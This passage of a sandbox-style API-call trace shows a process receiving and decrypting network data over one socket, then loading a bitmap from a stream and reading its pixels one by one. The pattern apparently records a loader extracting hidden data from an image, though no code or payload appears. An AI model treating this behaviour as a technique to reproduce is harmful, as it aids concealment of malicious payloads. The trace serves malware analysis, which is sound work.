	[0072.822] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x3023308, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3023308, pfQOP=0x0) returned 0x0
	[0072.822] recv (in: s=0x4ec, buf=0x301efe0, len=5, flags=0 | out: buf=0x301efe0*) returned 5
	[0072.822] recv (in: s=0x4ec, buf=0x301efe5, len=16416, flags=0 | out: buf=0x301efe5*) returned 1864
	[0072.822] recv (in: s=0x4ec, buf=0x301f72d, len=14552, flags=0 | out: buf=0x301f72d*) returned 5808
	[0072.824] recv (in: s=0x4ec, buf=0x3020ddd, len=8744, flags=0 | out: buf=0x3020ddd*) returned 8744
	[0072.825] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x30234f8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x30234f8, pfQOP=0x0) returned 0x0
	[0072.825] recv (in: s=0x4ec, buf=0x301efe0, len=5, flags=0 | out: buf=0x301efe0*) returned 5
	[0072.825] recv (in: s=0x4ec, buf=0x301efe5, len=3648, flags=0 | out: buf=0x301efe5*) returned 1415
	[0072.825] recv (in: s=0x4ec, buf=0x301f56c, len=2233, flags=0 | out: buf=0x301f56c*) returned 2233
	[0072.826] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x30236e8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x30236e8, pfQOP=0x0) returned 0x0
	[0072.826] recv (in: s=0x4ec, buf=0x301efe0, len=5, flags=0 | out: buf=0x301efe0*) returned 5
	[0072.826] recv (in: s=0x4ec, buf=0x301efe5, len=16416, flags=0 | out: buf=0x301efe5*) returned 666
	[0072.827] recv (in: s=0x4ec, buf=0x301f27f, len=15750, flags=0 | out: buf=0x301f27f*) returned 15750
	[0072.829] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x30238d8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x30238d8, pfQOP=0x0) returned 0x0
	[0072.868] recv (in: s=0x4ec, buf=0x301efe0, len=5, flags=0 | out: buf=0x301efe0*) returned 5
	[0072.869] recv (in: s=0x4ec, buf=0x301efe5, len=3648, flags=0 | out: buf=0x301efe5*) returned 3648
	[0072.869] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x3023130, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3023130, pfQOP=0x0) returned 0x0
	[0072.869] recv (in: s=0x4ec, buf=0x301efe0, len=5, flags=0 | out: buf=0x301efe0*) returned 5
	[0072.869] recv (in: s=0x4ec, buf=0x301efe5, len=16416, flags=0 | out: buf=0x301efe5*) returned 16416
	[0072.870] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x3023320, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3023320, pfQOP=0x0) returned 0x0
	[0072.870] recv (in: s=0x4ec, buf=0x301efe0, len=5, flags=0 | out: buf=0x301efe0*) returned 5
	[0072.870] recv (in: s=0x4ec, buf=0x301efe5, len=3648, flags=0 | out: buf=0x301efe5*) returned 3648
	[0072.870] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x3023510, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3023510, pfQOP=0x0) returned 0x0
	[0072.870] recv (in: s=0x4ec, buf=0x301efe0, len=5, flags=0 | out: buf=0x301efe0*) returned 5
	[0072.870] recv (in: s=0x4ec, buf=0x301efe5, len=16416, flags=0 | out: buf=0x301efe5*) returned 16416
	[0072.871] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x3023700, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3023700, pfQOP=0x0) returned 0x0
	[0072.871] recv (in: s=0x4ec, buf=0x301efe0, len=5, flags=0 | out: buf=0x301efe0*) returned 5
	[0072.871] recv (in: s=0x4ec, buf=0x301efe5, len=3648, flags=0 | out: buf=0x301efe5*) returned 3648
	[0072.871] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x30238f0, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x30238f0, pfQOP=0x0) returned 0x0
	[0072.871] recv (in: s=0x4ec, buf=0x301efe0, len=5, flags=0 | out: buf=0x301efe0*) returned 5
	[0072.871] recv (in: s=0x4ec, buf=0x301efe5, len=16416, flags=0 | out: buf=0x301efe5*) returned 16416
	[0072.872] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x3023ae0, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3023ae0, pfQOP=0x0) returned 0x0
	[0072.872] recv (in: s=0x4ec, buf=0x301efe0, len=5, flags=0 | out: buf=0x301efe0*) returned 5
	[0072.872] recv (in: s=0x4ec, buf=0x301efe5, len=3648, flags=0 | out: buf=0x301efe5*) returned 3648
	[0072.872] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x3023cd0, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3023cd0, pfQOP=0x0) returned 0x0
	[0072.872] recv (in: s=0x4ec, buf=0x301efe0, len=5, flags=0 | out: buf=0x301efe0*) returned 5
	[0072.872] recv (in: s=0x4ec, buf=0x301efe5, len=16416, flags=0 | out: buf=0x301efe5*) returned 11166
	[0072.872] recv (in: s=0x4ec, buf=0x3021b83, len=5250, flags=0 | out: buf=0x3021b83*) returned 5250
	[0072.893] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x3023ec0, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3023ec0, pfQOP=0x0) returned 0x0
	[0072.893] recv (in: s=0x4ec, buf=0x301efe0, len=5, flags=0 | out: buf=0x301efe0*) returned 5
	[0072.894] recv (in: s=0x4ec, buf=0x301efe5, len=3648, flags=0 | out: buf=0x301efe5*) returned 3648
	[0072.894] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x30240b0, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x30240b0, pfQOP=0x0) returned 0x0
	[0072.894] recv (in: s=0x4ec, buf=0x301efe0, len=5, flags=0 | out: buf=0x301efe0*) returned 5
	[0072.894] recv (in: s=0x4ec, buf=0x301efe5, len=16416, flags=0 | out: buf=0x301efe5*) returned 1936
	[0072.895] recv (in: s=0x4ec, buf=0x301f775, len=14480, flags=0 | out: buf=0x301f775*) returned 4356
	[0072.895] recv (in: s=0x4ec, buf=0x3020879, len=10124, flags=0 | out: buf=0x3020879*) returned 10124
	[0072.897] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x30242a0, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x30242a0, pfQOP=0x0) returned 0x0
	[0072.898] recv (in: s=0x4ec, buf=0x301efe0, len=5, flags=0 | out: buf=0x301efe0*) returned 5
	[0072.898] recv (in: s=0x4ec, buf=0x301efe5, len=3648, flags=0 | out: buf=0x301efe5*) returned 3648
	[0072.898] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x3024490, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3024490, pfQOP=0x0) returned 0x0
	[0072.899] recv (in: s=0x4ec, buf=0x301efe0, len=5, flags=0 | out: buf=0x301efe0*) returned 5
	[0072.899] recv (in: s=0x4ec, buf=0x301efe5, len=16416, flags=0 | out: buf=0x301efe5*) returned 738
	[0072.900] recv (in: s=0x4ec, buf=0x301f2c7, len=15678, flags=0 | out: buf=0x301f2c7*) returned 8712
	[0072.900] recv (in: s=0x4ec, buf=0x30214cf, len=6966, flags=0 | out: buf=0x30214cf*) returned 6966
	[0072.901] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x3024680, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3024680, pfQOP=0x0) returned 0x0
	[0072.902] recv (in: s=0x4ec, buf=0x301efe0, len=5, flags=0 | out: buf=0x301efe0*) returned 5
	[0072.902] recv (in: s=0x4ec, buf=0x301efe5, len=3648, flags=0 | out: buf=0x301efe5*) returned 3648
	[0072.902] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x3024870, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3024870, pfQOP=0x0) returned 0x0
	[0072.902] recv (in: s=0x4ec, buf=0x301efe0, len=5, flags=0 | out: buf=0x301efe0*) returned 5
	[0072.902] recv (in: s=0x4ec, buf=0x301efe5, len=16416, flags=0 | out: buf=0x301efe5*) returned 3896
	[0072.903] recv (in: s=0x4ec, buf=0x301ff1d, len=12520, flags=0 | out: buf=0x301ff1d*) returned 12520
	[0072.907] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x3024a60, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3024a60, pfQOP=0x0) returned 0x0
	[0072.911] recv (in: s=0x4ec, buf=0x301efe0, len=5, flags=0 | out: buf=0x301efe0*) returned 5
	[0072.912] recv (in: s=0x4ec, buf=0x301efe5, len=3648, flags=0 | out: buf=0x301efe5*) returned 3648
	[0072.912] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x3024c50, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3024c50, pfQOP=0x0) returned 0x0
	[0072.913] recv (in: s=0x4ec, buf=0x301efe0, len=5, flags=0 | out: buf=0x301efe0*) returned 5
	[0072.913] recv (in: s=0x4ec, buf=0x301efe5, len=16416, flags=0 | out: buf=0x301efe5*) returned 16416
	[0072.914] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x3024e40, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3024e40, pfQOP=0x0) returned 0x0
	[0072.914] recv (in: s=0x4ec, buf=0x301efe0, len=5, flags=0 | out: buf=0x301efe0*) returned 5
	[0072.914] recv (in: s=0x4ec, buf=0x301efe5, len=3648, flags=0 | out: buf=0x301efe5*) returned 3648
	[0072.915] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x3025030, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3025030, pfQOP=0x0) returned 0x0
	[0072.915] recv (in: s=0x4ec, buf=0x301efe0, len=5, flags=0 | out: buf=0x301efe0*) returned 5
	[0072.915] recv (in: s=0x4ec, buf=0x301efe5, len=16416, flags=0 | out: buf=0x301efe5*) returned 16416
	[0072.916] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x3025220, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3025220, pfQOP=0x0) returned 0x0
	[0072.916] recv (in: s=0x4ec, buf=0x301efe0, len=5, flags=0 | out: buf=0x301efe0*) returned 5
	[0072.916] recv (in: s=0x4ec, buf=0x301efe5, len=3648, flags=0 | out: buf=0x301efe5*) returned 3648
	[0072.918] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x3025410, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3025410, pfQOP=0x0) returned 0x0
	[0072.918] recv (in: s=0x4ec, buf=0x301efe0, len=5, flags=0 | out: buf=0x301efe0*) returned 5
	[0072.918] recv (in: s=0x4ec, buf=0x301efe5, len=16416, flags=0 | out: buf=0x301efe5*) returned 16416
	[0072.919] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x3025600, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3025600, pfQOP=0x0) returned 0x0
	[0072.920] recv (in: s=0x4ec, buf=0x301efe0, len=5, flags=0 | out: buf=0x301efe0*) returned 5
	[0072.920] recv (in: s=0x4ec, buf=0x301efe5, len=3648, flags=0 | out: buf=0x301efe5*) returned 1961
	[0072.921] recv (in: s=0x4ec, buf=0x301f78e, len=1687, flags=0 | out: buf=0x301f78e*) returned 1687
	[0072.921] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x30257f0, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x30257f0, pfQOP=0x0) returned 0x0
	[0072.921] recv (in: s=0x4ec, buf=0x301efe0, len=5, flags=0 | out: buf=0x301efe0*) returned 5
	[0072.921] recv (in: s=0x4ec, buf=0x301efe5, len=16416, flags=0 | out: buf=0x301efe5*) returned 4912
	[0072.921] recv (in: s=0x4ec, buf=0x3020315, len=11504, flags=0 | out: buf=0x3020315*) returned 11504
	[0072.924] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x30259e0, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x30259e0, pfQOP=0x0) returned 0x0
	[0072.924] recv (in: s=0x4ec, buf=0x301efe0, len=5, flags=0 | out: buf=0x301efe0*) returned 5
	[0072.924] recv (in: s=0x4ec, buf=0x301efe5, len=3648, flags=0 | out: buf=0x301efe5*) returned 3648
	[0072.925] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x3025bd0, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3025bd0, pfQOP=0x0) returned 0x0
	[0072.926] recv (in: s=0x4ec, buf=0x301efe0, len=5, flags=0 | out: buf=0x301efe0*) returned 5
	[0072.926] recv (in: s=0x4ec, buf=0x301efe5, len=16416, flags=0 | out: buf=0x301efe5*) returned 3598
	[0072.926] recv (in: s=0x4ec, buf=0x301fdf3, len=12818, flags=0 | out: buf=0x301fdf3*) returned 7260
	[0072.927] recv (in: s=0x4ec, buf=0x3021a4f, len=5558, flags=0 | out: buf=0x3021a4f*) returned 3020
	[0072.928] recv (in: s=0x4ec, buf=0x302261b, len=2538, flags=0 | out: buf=0x302261b*) returned 2538
	[0072.929] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x3025dc0, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3025dc0, pfQOP=0x0) returned 0x0
	[0072.929] recv (in: s=0x4ec, buf=0x301efe0, len=5, flags=0 | out: buf=0x301efe0*) returned 5
	[0072.930] recv (in: s=0x4ec, buf=0x301efe5, len=3648, flags=0 | out: buf=0x301efe5*) returned 3648
	[0072.930] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x3025fb0, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3025fb0, pfQOP=0x0) returned 0x0
	[0072.930] recv (in: s=0x4ec, buf=0x301efe0, len=5, flags=0 | out: buf=0x301efe0*) returned 5
	[0072.930] recv (in: s=0x4ec, buf=0x301efe5, len=6336, flags=0 | out: buf=0x301efe5*) returned 5420
	[0072.930] recv (in: s=0x4ec, buf=0x3020511, len=916, flags=0 | out: buf=0x3020511*) returned 916
	[0072.931] DecryptMessage (in: phContext=0x1c69bc20, pMessage=0x30261a0, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x30261a0, pfQOP=0x0) returned 0x0
	[0072.947] GetCurrentProcessId () returned 0xb90
	[0072.953] GdiplusStartup (in: token=0x1c69b2b8, input=0x1c69b2d0, output=0x1c69b2a8 | out: token=0x1c69b2b8, output=0x1c69b2a8) returned 0x0
	[0072.957] GdipCreateBitmapFromStream (stream=0x1dbfea0, bitmap=0x1c69c388) returned 0x0
	[0072.966] GdipImageForceValidation (image=0x1b4b41a0) returned 0x0
	[0072.975] GdipGetImageRawFormat (image=0x1b4b41a0, format=0x1c69c240*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0
	[0073.200] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c570) returned 0x0
	[0073.202] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c570) returned 0x0
	[0073.203] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=0, y=0, color=0x1c69c5d0) returned 0x0
	[0073.306] VarDecInt (in: pdecIn=0x1c69c690, pdecResult=0x1c69c6c0 | out: pdecResult=0x1c69c6c0) returned 0x0
	[0073.320] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.321] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.323] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.323] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=1, y=0, color=0x1c69c760) returned 0x0
	[0073.324] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.325] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.325] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.325] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.325] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=2, y=0, color=0x1c69c760) returned 0x0
	[0073.325] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.325] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.326] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.326] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.326] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=3, y=0, color=0x1c69c760) returned 0x0
	[0073.326] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.326] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.326] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.326] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.326] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=4, y=0, color=0x1c69c760) returned 0x0
	[0073.327] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.327] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.327] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.327] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.327] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=5, y=0, color=0x1c69c760) returned 0x0
	[0073.327] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.328] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.328] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.328] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.328] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=6, y=0, color=0x1c69c760) returned 0x0
	[0073.328] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.328] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.328] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.328] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.329] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=7, y=0, color=0x1c69c760) returned 0x0
	[0073.329] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.329] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.329] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.329] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.329] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=8, y=0, color=0x1c69c760) returned 0x0
	[0073.330] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.330] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.330] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.330] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.330] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=9, y=0, color=0x1c69c760) returned 0x0
	[0073.332] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.332] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.332] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.332] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.333] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=10, y=0, color=0x1c69c760) returned 0x0
	[0073.333] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.333] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.333] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.333] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.333] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=11, y=0, color=0x1c69c760) returned 0x0
	[0073.334] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.334] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.334] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.334] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.334] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=12, y=0, color=0x1c69c760) returned 0x0
	[0073.334] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.335] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.335] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.335] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.335] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=13, y=0, color=0x1c69c760) returned 0x0
	[0073.335] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.335] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.335] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.335] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.335] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=14, y=0, color=0x1c69c760) returned 0x0
	[0073.336] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.336] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.336] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.336] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.336] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=15, y=0, color=0x1c69c760) returned 0x0
	[0073.337] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.337] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.337] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.337] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.337] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=16, y=0, color=0x1c69c760) returned 0x0
	[0073.338] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.338] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.338] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.338] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.338] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=17, y=0, color=0x1c69c760) returned 0x0
	[0073.338] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.338] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.338] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.338] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.338] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=18, y=0, color=0x1c69c760) returned 0x0
	[0073.338] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.338] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.339] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.339] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.339] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=19, y=0, color=0x1c69c760) returned 0x0
	[0073.339] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.339] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.339] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.339] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.339] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=20, y=0, color=0x1c69c760) returned 0x0
	[0073.339] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.339] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.339] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.339] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.339] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=21, y=0, color=0x1c69c760) returned 0x0
	[0073.339] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.340] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.340] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.340] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.340] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=22, y=0, color=0x1c69c760) returned 0x0
	[0073.340] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.340] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.340] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.340] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.340] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=23, y=0, color=0x1c69c760) returned 0x0
	[0073.340] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.340] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.340] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.340] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
